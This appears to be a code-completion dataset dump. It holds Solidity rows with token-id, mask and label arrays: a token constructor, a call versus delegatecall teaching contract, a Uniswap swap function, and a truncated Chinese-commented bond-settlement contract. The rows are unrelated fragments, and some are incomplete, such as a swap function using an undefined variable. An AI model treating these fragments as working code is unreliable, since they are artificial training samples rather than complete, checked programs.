file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
---|---|---|---|---|---|---|
./partial_match/1/0xFd9346B8Eee24C6159f5361147ecD3406AE5af0C/sources/LuckyDime.sol | router = IDEXRouter(0xC532a74256D3Db42D0Bf7a0400fEFDbad7694008); sepoliapair = IDEXFactory(router.factory()).createPair(0x7b79995e5f793A07Bc00c21412e50Ecae098E7f9, address(this)); sepolia | constructor () Auth(msg.sender) {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IDEXFactory(router.factory()).createPair(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
_allowances[address(this)][address(router)] = _totalSupply;
isFeeExempt[msg.sender] = true;
isTxLimitExempt[msg.sender] = true;
isExcluded[pair]=true;
isExcluded[DEAD]=true;
isExcluded[ZERO]=true;
jackpotFeeWallet = msg.sender;
approve(address(router), _totalSupply);
approve(address(pair), _totalSupply);
_balances[msg.sender] = _totalSupply;
holders.push(msg.sender);
totalJackpotValue=0;
emit Transfer(address(0), msg.sender, _totalSupply);
}
| 4,056,707 | [
1,
10717,
273,
1599,
2294,
8259,
12,
20,
14626,
25,
1578,
69,
5608,
5034,
40,
23,
4331,
9452,
40,
20,
38,
74,
27,
69,
3028,
713,
74,
26897,
4331,
361,
6669,
11290,
713,
28,
1769,
695,
3915,
77,
438,
1826,
273,
1599,
2294,
1733,
12,
10717,
18,
6848,
1435,
2934,
2640,
4154,
12,
20,
92,
27,
70,
27,
2733,
8778,
73,
25,
74,
7235,
23,
37,
8642,
38,
71,
713,
71,
22,
3461,
2138,
73,
3361,
41,
5353,
73,
5908,
28,
41,
27,
74,
29,
16,
1758,
12,
2211,
10019,
695,
3915,
1155,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
1832,
3123,
12,
3576,
18,
15330,
13,
288,
203,
203,
3639,
4633,
273,
1599,
2294,
8259,
12,
20,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
1769,
203,
3639,
3082,
273,
1599,
2294,
1733,
12,
10717,
18,
6848,
1435,
2934,
2640,
4154,
12,
20,
14626,
3103,
7598,
37,
5520,
70,
3787,
23,
8090,
28,
40,
20,
37,
20,
73,
25,
39,
24,
42,
5324,
73,
1880,
29,
6840,
23,
39,
27,
4313,
39,
71,
22,
16,
1758,
12,
2211,
10019,
203,
3639,
389,
5965,
6872,
63,
2867,
12,
2211,
13,
6362,
2867,
12,
10717,
25887,
273,
389,
4963,
3088,
1283,
31,
203,
203,
3639,
353,
14667,
424,
5744,
63,
3576,
18,
15330,
65,
273,
638,
31,
203,
3639,
353,
4188,
3039,
424,
5744,
63,
3576,
18,
15330,
65,
273,
638,
31,
203,
203,
3639,
353,
16461,
63,
6017,
65,
33,
3767,
31,
203,
3639,
353,
16461,
63,
1639,
1880,
65,
33,
3767,
31,
203,
3639,
353,
16461,
63,
24968,
65,
33,
3767,
31,
7010,
203,
3639,
525,
484,
13130,
14667,
16936,
273,
1234,
18,
15330,
31,
203,
203,
3639,
6617,
537,
12,
2867,
12,
10717,
3631,
389,
4963,
3088,
1283,
1769,
203,
3639,
6617,
537,
12,
2867,
12,
6017,
3631,
389,
4963,
3088,
1283,
1769,
203,
3639,
389,
70,
26488,
63,
3576,
18,
15330,
65,
273,
389,
4963,
3088,
1283,
31,
203,
3639,
366,
4665,
18,
6206,
12,
3576,
2
]
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "hardhat/console.sol";
// import "@openzeppelin/contracts/math/SafeMath.sol";
/*
Inter-Contract Execution
- call, callcode [DEPRECATED], delegatecall
- DELEGATECALL basically says that I'm a contract and I'm allowing (delegating) you to do whatever you want to my storage.
DELEGATECALL is a security risk for the sending contract which needs to trust that the receiving contract will treat the storage well.
DELEGATECALL was a new opcode that was a bug fix for CALLCODE which did not preserve msg.sender and msg.value.
If Alice invokes Bob who does DELEGATECALL to Charlie, the msg.sender in the DELEGATECALL is Alice (whereas if CALLCODE was used the msg.sender would be Bob).
- `call` will make change in the callee contract storage variables (one that is called, A->B, B is callee).
- `delegatecall` will make change in the caller contract storage variables (one that calls the callee, A->B, A is caller). Used normally in case of deployed libraries.
- For more, refer https://ethereum.stackexchange.com/a/3672/76168
- NOTE: here, source code of "Base contract" is not needed, just its address.
Watch Video for understanding:
- "https://github.com/abhi3700/ethio_playground_videos/blob/main/context_switcher_contract_demo.m4v"
References:
- https://gist.github.com/ConsenSys-Academy/de1b2000f3682f0cfba784d0cb5400e7/b49ed44ad64fd533c09775f9688d615100ad53c1
*/
contract Base {
uint public num;
address public sender;
function setNum(uint _num) public {
num = _num;
sender = msg.sender;
// msg.sender is FirstCaller if invoked by FirstCaller.callSetNum() or FirstCaller.setBaseNum()
// msg.sender remains unchanged, if invoked by SecondCaller.callThrough() or FirstCaller.delegatecallSetNum()
}
}
contract FirstCaller {
uint public num;
address public sender;
function setBaseNum(address _base, uint _num) public{
Base base = Base(_base);
base.setNum(_num);
sender = msg.sender;
}
function callSetNum(address _base, uint _num) public {
// M-1
// (bool status, bytes memory returnData) = _base.call(abi.encodeWithSignature("setNum(uint256)", _num)); // Base's num is set [DEPRECATED]
// (bool status, bytes memory returnData) = _base.call(abi.encodePacked(bytes4(keccak256("setNum(uint256)")), _num)); // Base's num is set as per v0.8.6
// M-2
(bool status, ) = _base.call(abi.encodePacked(bytes4(keccak256("setNum(uint256)")), _num)); // Base's num is set as per v0.8.6
if (!status) {
revert();
}
sender = msg.sender;
}
// [DEPRECATED] as per v0.8.4
/* function callcodeSetNum(address _base, uint _num) public {
// M-1
// (bool status, bytes memory returnData) = _base.callcode(abi.encodeWithSignature("setNum(uint256)", _num)); // Base's num is set [DEPRECATED]
// (bool status, bytes memory returnData) = _base.callcode(abi.encodePacked(bytes4(keccak256("setNum(uint256)")), _num)); // Base's num is set as per v0.8.6
// M-2
(bool status, ) = _base.callcode(abi.encodePacked(bytes4(keccak256("setNum(uint256)")), _num)); // Base's num is set as per v0.8.6
if (!status) {
revert();
}
sender = msg.sender;
}
*/
function delegatecallSetNum(address _base, uint _num) public {
// M-1
// (bool status, bytes memory returnData) = _base.delegatecall(abi.encodeWithSignature("setNum(uint256)", _num)); // Base's num is set
// (bool status, bytes memory returnData) = _base.delegatecall(abi.encodePacked(bytes4(keccak256("setNum(uint256)")), _num)); // Base's num is set as per v0.8.6
// M-2
(bool status, ) = _base.delegatecall(abi.encodePacked(bytes4(keccak256("setNum(uint256)")), _num)); // Base's num is set as per v0.8.6
if (!status) {
revert();
}
sender = msg.sender;
}
}
contract SecondCaller {
function callThrough(FirstCaller _fc, Base _base, uint _num) public {
_fc.delegatecallSetNum(address(_base), _num);
}
} | Base's num is set as per v0.8.6
| (bool status, ) = _base.delegatecall(abi.encodePacked(bytes4(keccak256("setNum(uint256)")), _num)); | 987,043 | [
1,
2171,
1807,
818,
353,
444,
3639,
487,
1534,
331,
20,
18,
28,
18,
26,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
261,
6430,
1267,
16,
262,
273,
389,
1969,
18,
22216,
1991,
12,
21457,
18,
3015,
4420,
329,
12,
3890,
24,
12,
79,
24410,
581,
5034,
2932,
542,
2578,
12,
11890,
5034,
2225,
13,
3631,
389,
2107,
10019,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/4/0xa2ff9061ec453Fc1Bb70f7BA39b00357705f4033/sources/contracts/Gswap.sol | refund leftover ETH to user | function convertTokenToExactETH(address token, uint256 amountOut, uint256 amountInMax) public payable {
IERC20(token).transferFrom(msg.sender, address(this), amountInMax);
IERC20(token).approve(UNISWAP_ROUTER_ADDRESS, amountInMax);
uint256 deadline = block.timestamp + 15;
uniswapRouter.swapTokensForExactETH(
amountOut,
amountInMax,
getPathForTokentoETH(token),
msg.sender,
deadline
);
require(success, "Token -> ExactETH Failed");
}
| 688,193 | [
1,
1734,
1074,
29709,
512,
2455,
358,
729,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1765,
1345,
774,
14332,
1584,
44,
12,
2867,
1147,
16,
2254,
5034,
3844,
1182,
16,
2254,
5034,
3844,
382,
2747,
13,
1071,
8843,
429,
288,
203,
203,
3639,
467,
654,
39,
3462,
12,
2316,
2934,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
3844,
382,
2747,
1769,
203,
3639,
467,
654,
39,
3462,
12,
2316,
2934,
12908,
537,
12,
2124,
5127,
59,
2203,
67,
1457,
1693,
654,
67,
15140,
16,
3844,
382,
2747,
1769,
203,
203,
3639,
2254,
5034,
14096,
273,
1203,
18,
5508,
397,
4711,
31,
203,
3639,
640,
291,
91,
438,
8259,
18,
22270,
5157,
1290,
14332,
1584,
44,
12,
203,
5411,
3844,
1182,
16,
203,
5411,
3844,
382,
2747,
16,
203,
5411,
4339,
1290,
20477,
29565,
1584,
44,
12,
2316,
3631,
203,
5411,
1234,
18,
15330,
16,
203,
5411,
14096,
203,
3639,
11272,
203,
3639,
2583,
12,
4768,
16,
315,
1345,
317,
30794,
1584,
44,
11175,
8863,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.11;
// 請使用solc 0.4.20編譯,否則會有問題
contract Owned {
address owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
if(msg.sender!=owner) throw; _;
}
}
// 存放清算銀行客戶的在債券數量,以便於使用清算銀行及客戶帳號為key來查詢
// 注意Owner為TransactionMatcher contract
contract Bank_Account is Owned {
bytes32 bank_id;
uint customers_cnt;
bool private isOwnedNode = false; // 使用private transaction來設定flag,
// 每個Bank_Account Contract只有在自己跟央行才會設flag
// 以便判斷是在那個節點上跑
struct customer {
bytes32 [] ids;
mapping(bytes32 => securities_account) securities_accounts; // 以id為index
mapping(bytes32 => bool) hasCustomer;
}
struct securities_account {
bytes32 [] securities; // 債券清單
uint securities_cnt;
mapping(bytes32 => int) total_amounts; // 總數量 以債券代號為index
mapping(bytes32 => int) position_amounts; // 持有部位 以債券代號為index
mapping(bytes32 => bool) hasSecurities;
}
customer private customers;
function Bank_Account(bytes32 _bank_id) {
bank_id = _bank_id;
}
function setOwnedNode(bool _is_true) onlyOwner {
isOwnedNode = _is_true;
}
function checkOwnedNode() constant returns(bool) {
return isOwnedNode;
}
// 設定客戶擁有債券數量,注意,清算銀行自己本身也有帳號 客戶持有部位也要增加
function setCustomerOwnedSecuritiesAmount(bytes32 _customer_id, bytes32 _securities_id, int _amount_total, bool _is_increase) onlyOwner {
if(!customers.hasCustomer[_customer_id]) {
customers.ids.push(_customer_id);
customers_cnt++;
customers.hasCustomer[_customer_id] = true;
}
if(!customers.securities_accounts[_customer_id].hasSecurities[_securities_id]) {
customers.securities_accounts[_customer_id].securities.push(_securities_id);
customers.securities_accounts[_customer_id].securities_cnt++;
customers.securities_accounts[_customer_id].hasSecurities[_securities_id] = true;
}
int total_amount = customers.securities_accounts[_customer_id].total_amounts[_securities_id];
if(_is_increase) {
total_amount += _amount_total;
}else {
total_amount -= _amount_total;
}
customers.securities_accounts[_customer_id].total_amounts[_securities_id] = total_amount;
}
function setCustomerOwnedSecuritiesPosition(bytes32 _customer_id, bytes32 _securities_id, int _amount, bool _is_increase) onlyOwner {
int position_amount = customers.securities_accounts[_customer_id].position_amounts[_securities_id];
if(_is_increase) {
position_amount += _amount;
}else {
position_amount -= _amount;
}
customers.securities_accounts[_customer_id].position_amounts[_securities_id] = position_amount;
}
function getCustomerSecuritiesTotalAmount(bytes32 _customer_id, bytes32 _securities_id) constant returns(int) {
if(msg.sender != owner) {
// do nothing, just return
return(0);
}
return(customers.securities_accounts[_customer_id].total_amounts[_securities_id]);
}
function getCustomerSecuritiesPosition(bytes32 _customer_id, bytes32 _securities_id) constant returns(int) {
if(msg.sender != owner) {
// do nothing, just return
return(0);
}
return(customers.securities_accounts[_customer_id].position_amounts[_securities_id]);
}
function getCustomerSecuritiesList(bytes32 _customer_id, uint index) constant returns (bytes32) {
return(customers.securities_accounts[_customer_id].securities[index]);
}
function getCustomerSecuritiesListLength(bytes32 _customer_id) constant returns (uint) {
return(customers.securities_accounts[_customer_id].securities_cnt);
}
function getCustomerList(uint index) constant returns (bytes32) {
return(customers.ids[index]);
}
function getCustomerListLength() constant returns (uint) {
return(customers_cnt);
}
}
// 注意Owner為TransactionMatcher contract
contract Securities is Owned{
bytes32 securities_id; // 公債代號
bytes32 owned_bank;
uint banks_cnt;
int amount;
int available; // 還剩多少債券
// int unit_price;
int interest_rateX10K; // *10000 i.e 2% interest_rate = 200 精確到小數點第二位
int start_tm;
int end_tm;
int period; // 單位:Year(每年一期)
struct bank {
bytes32 [] bank_ids; // 清算銀行list
mapping(bytes32 => customers_account) customers_accounts; // 客戶account 以清算銀行為index
mapping(bytes32 => bool) hasBank; // 以清算銀行為index
mapping(bytes32 => int) banks_total_amount; // 清算銀行總帳(計算利息) 以清算銀行為index
mapping(bytes32 => int) banks_position_amount; // 清算銀行持有部位(總帳 - 被圈存總帳) 以清算銀行為index
}
struct customers_account {
bytes32 [] customer_ids; // 客戶帳號list
uint customers_cnt;
mapping(bytes32 => int) total_amounts; // 客戶擁有數量 以客戶帳號為index
mapping(bytes32 => int) position_amounts; // 客戶持有部位(總帳 - 被圈存數量) 以客戶帳號為index
mapping(bytes32 => bool) hasCustomer; // 是否有此客戶 以客戶帳號為index
}
bank private banks;
function Securities(bytes32 _securities_id, int _amount, int _interest_rateX10K, int _start_tm, int _end_tm, int _period) {
securities_id = _securities_id;
owned_bank = "CB"; // centeral bank is the initial owner
amount = _amount;
available = _amount;
//unit_price = _unit_price;
interest_rateX10K = _interest_rateX10K;
start_tm = _start_tm;
end_tm = _end_tm;
period = _period;
}
// 變更客戶擁有債券數量,注意,清算銀行自己本身也有帳號
function setCustomerOwnedSecuritiesAmount(bytes32 _bank_id, bytes32 _customer_id, int _amount_total, bool _is_increase) onlyOwner {
if(!banks.hasBank[_bank_id]) {
banks.bank_ids.push(_bank_id);
banks.hasBank[_bank_id] = true;
banks_cnt++;
}
if(!banks.customers_accounts[_bank_id].hasCustomer[_customer_id]) {
banks.customers_accounts[_bank_id].customer_ids.push(_customer_id);
banks.customers_accounts[_bank_id].customers_cnt++;
banks.customers_accounts[_bank_id].hasCustomer[_customer_id] = true;
}
int customer_amount = banks.customers_accounts[_bank_id].total_amounts[_customer_id];
int bank_amount = banks.banks_total_amount[_bank_id];
//int customer_position_amount = banks.customers_accounts[_bank_id].position_amounts[_customer_id];
//int bank_position_amount = banks.banks_position_amount[_bank_id];
if(_is_increase) {
customer_amount += _amount_total;
bank_amount += _amount_total;
available -= _amount_total;
//customer_position_amount += _amount_total;
//bank_position_amount += _amount_total;
}else {
customer_amount -= _amount_total;
bank_amount -= _amount_total;
available += _amount_total;
//customer_position_amount -= _amount_total;
//bank_position_amount -= _amount_total;
}
banks.customers_accounts[_bank_id].total_amounts[_customer_id] = customer_amount;
banks.banks_total_amount[_bank_id] = bank_amount;
//banks.customers_accounts[_bank_id].position_amounts[_customer_id] = customer_position_amount;
//banks.banks_position_amount[_bank_id] = bank_position_amount;
}
// 設定圈存
function setCustomerOwnedSecuritiesPosition(bytes32 _bank_id, bytes32 _customer_id, int _amount, bool _is_increase) onlyOwner {
int customer_position_amount = banks.customers_accounts[_bank_id].position_amounts[_customer_id];
int bank_position_amount = banks.banks_position_amount[_bank_id];
if(_is_increase) {
customer_position_amount += _amount;
bank_position_amount += _amount;
}else {
customer_position_amount -= _amount;
bank_position_amount -= _amount;
}
banks.customers_accounts[_bank_id].position_amounts[_customer_id] = customer_position_amount;
banks.banks_position_amount[_bank_id] = bank_position_amount;
}
function getSecuritiesStatus() constant returns(int, int) {
return(amount, available);
}
function getSecuritiesInfo() constant returns(int, int, int, int) {
return(interest_rateX10K, start_tm, end_tm, period);
}
function getCustomerTotalAmount(bytes32 _bank_id, bytes32 _customer_id) constant returns(int) {
if(msg.sender != owner) {
// do nothing, just return
return(0);
}
return(banks.customers_accounts[_bank_id].total_amounts[_customer_id]);
}
function getCustomerPosition(bytes32 _bank_id, bytes32 _customer_id) constant returns(int) {
if(msg.sender != owner) {
// do nothing, just return
return(0);
}
return(banks.customers_accounts[_bank_id].position_amounts[_customer_id]);
}
function getBankTotalAmount(bytes32 _bank_id) constant returns(int) {
if(msg.sender != owner) {
// do nothing, just return
return(0);
}
return(banks.banks_total_amount[_bank_id]);
}
function getBankPosition(bytes32 _bank_id, bytes32 _customer_id) constant returns(int) {
if(msg.sender != owner) {
// do nothing, just return
return(0);
}
return(banks.banks_position_amount[_bank_id]);
}
function getBankList(uint index) constant returns(bytes32) {
return(banks.bank_ids[index]);
}
function getBankListLength() constant returns(uint) {
return(banks_cnt);
}
}
// TransactionMatcher必須由央行deploy 如此央行才能成為owner
contract TransactionMatcher is Owned {
//address private owner;
//uint private maxQueueDepth;
//uint private timeout;
uint ServiceState; // 1: 開機 2: 營業開始 3: 停止接收預告
// 4: 停止接收電文 5: 處理跨行交易 6: 發送結帳資料 7: 關機
bytes32[] shareQueue; // 跨行交易用的queue
bytes32[] privateQueue; // 自行交易用的queue
function TransactionMatcher() {
owner = msg.sender;
//maxQueueDepth = 100;
}
enum TxnState { Pending, Matched, Finished, Cancelled, Waiting4Payment }
struct Transaction {
bytes32 txnSerNo; // 交易代號
bytes32 from_bank_id; // 賣方清算銀行代號
bytes32 from_customer_id; // 賣方帳號
bytes32 to_bank_id; // 買方清算銀行代號
bytes32 to_customer_id; // 買方帳號
int securities_amount; // 交易面額
int blocked_amount; // 圈存面額
bytes32 securities_id; // 債券代號
int payment; // 紀錄實際成交金額
TxnState state; // 交易狀態
uint timestamp; // 交易發送時間
bytes32 digest; // 交易摘要(MD5) 買賣雙方的交易摘要需相同才可比對
address msg_sender; // 發送交易之區塊鏈帳戶
bytes32 rev_txnSerNo; // 紀錄被更正之交易代號
int return_code; // 紀錄傳回值
}
bytes32[] transactionIdx;
mapping (bytes32 => Transaction) transactions;
mapping (bytes32 => bool) isTransactionWaitingForMatch; // has a transaction registered in the list
mapping (bytes32 => bytes32) txnDigest_SerNo1; // txn digest => txnSerNo
//mapping (bytes32 => bytes32) txnDigest_SerNo2; // txn digest => txnSerNo
bytes32[] banks_list;
mapping (bytes32 => address) bankRegistry;
//mapping (address => bytes32) acc2Bank;
//mapping (bytes32 => address) bankAdmins;
bytes32[] securities_list;
uint securities_cnt;
mapping (bytes32 => address) securitiesRegistry;
mapping (bytes32 => bool) hasSecurities;
/*
modifier isBankOwner(bytes32 _bank_id) {
require(msg.sender == owner || acc2Bank[msg.sender] == _bank_id);
_;
}
*/
event EventForCreateBank(bytes32 _bank_id);
event EventForSetOwnedNode(bytes32 _bank_id);
event EventForIssueSecurities(bytes32 _securities_id);
event EventForRegisterCustomerOwnedSecuritiesAmount(bytes32 _securities_id, bytes32 _bank_id, bytes32 _customer_id, int _amount, bool _is_increase);
event EventForSetServiceState(uint state);
//event EventForSetCustomerOwnedSecuritiesPosition(bytes32 _securities_id, bytes32 _bank_id, bytes32 _customer_id, int _amount_total, bool _is_increase);
// privateFor[央行與所有清算行]
function createBank(bytes32 _bank_id, address _bankOwner) onlyOwner {
address bank = new Bank_Account(_bank_id);
bankRegistry[_bank_id] = bank; // 清算銀行Bank_Account合約位址
banks_list.push(_bank_id);
//bankAdmins[_bank_id] = _bankOwner;
EventForCreateBank(_bank_id);
}
// privateFor[央行與被建立的清算行]
// 可以讓被建立的清算行利用checkOwnedNode傳回true判斷是自己的節點 因為節點不會看到別人的Bank_Account Contract
function setOwnedNode(bytes32 _bank_id, bool _is_true) onlyOwner {
Bank_Account bank = Bank_Account(bankRegistry[_bank_id]);
bank.setOwnedNode(true);
//bank.setBankContract(_bank_contract);
EventForSetOwnedNode(_bank_id);
}
function issueSecurities(bytes32 _securities_id, int _amount, int _interest_rateX10K, int _start_tm, int _end_tm, int _period) onlyOwner {
if(!hasSecurities[_securities_id]) {
securities_list.push(_securities_id);
hasSecurities[_securities_id]=true;
securities_cnt++;
}
address securities = new Securities(_securities_id, _amount, _interest_rateX10K, _start_tm, _end_tm, _period);
securitiesRegistry[_securities_id] = securities;
EventForIssueSecurities(_securities_id);
}
function registerCustomerOwnedSecuritiesAmount(bytes32 _securities_id, bytes32 _bank_id, bytes32 _customer_id, int _amount, bool _is_increase) onlyOwner {
setCustomerOwnedSecuritiesAmount(_securities_id,_bank_id,_customer_id,_amount,_is_increase);
// 註冊時要順便增加/減少持有部位
setCustomerOwnedSecuritiesPosition(_securities_id,_bank_id,_customer_id,_amount,_is_increase);
EventForRegisterCustomerOwnedSecuritiesAmount(_securities_id,_bank_id,_customer_id,_amount,_is_increase);
}
// 只能internal 呼叫,避免鏈外隨便可以改帳目
function setCustomerOwnedSecuritiesAmount(bytes32 _securities_id, bytes32 _bank_id, bytes32 _customer_id, int _amount, bool _is_increase) internal {
Securities securities = Securities(securitiesRegistry[_securities_id]);
securities.setCustomerOwnedSecuritiesAmount(_bank_id, _customer_id, _amount, _is_increase);
Bank_Account bank = Bank_Account(bankRegistry[_bank_id]);
bank.setCustomerOwnedSecuritiesAmount(_customer_id, _securities_id, _amount, _is_increase);
//EventForSetCustomerOwnedSecuritiesAmount( _securities_id, _bank_id, _customer_id, _amount, _is_increase);
}
// 只能internal 呼叫,避免鏈外隨便可以改帳目
function setCustomerOwnedSecuritiesPosition(bytes32 _securities_id, bytes32 _bank_id, bytes32 _customer_id, int _amount, bool _is_increase) internal {
Securities securities = Securities(securitiesRegistry[_securities_id]);
securities.setCustomerOwnedSecuritiesPosition(_bank_id, _customer_id, _amount, _is_increase);
Bank_Account bank = Bank_Account(bankRegistry[_bank_id]);
bank.setCustomerOwnedSecuritiesPosition(_customer_id, _securities_id, _amount, _is_increase);
//EventForSetCustomerOwnedSecuritiesPosition( _securities_id, _bank_id, _customer_id, _amount, _is_increase);
}
function getSecuritiesStatus(bytes32 _securities_id) constant returns(int,int) {
Securities securities = Securities(securitiesRegistry[_securities_id]);
var(a,b) = securities.getSecuritiesStatus();
return(a,b);
}
function getSecuritiesInfo(bytes32 _securities_id) constant returns(int,int,int,int) {
Securities securities = Securities(securitiesRegistry[_securities_id]);
var(a,b,c,d) = securities.getSecuritiesInfo();
return(a,b,c,d);
}
function getBankSecuritiesAmount(bytes32 _securities_id, bytes32 _bank_id) constant returns(int) {
Securities securities = Securities(securitiesRegistry[_securities_id]);
return(securities.getBankTotalAmount(_bank_id));
}
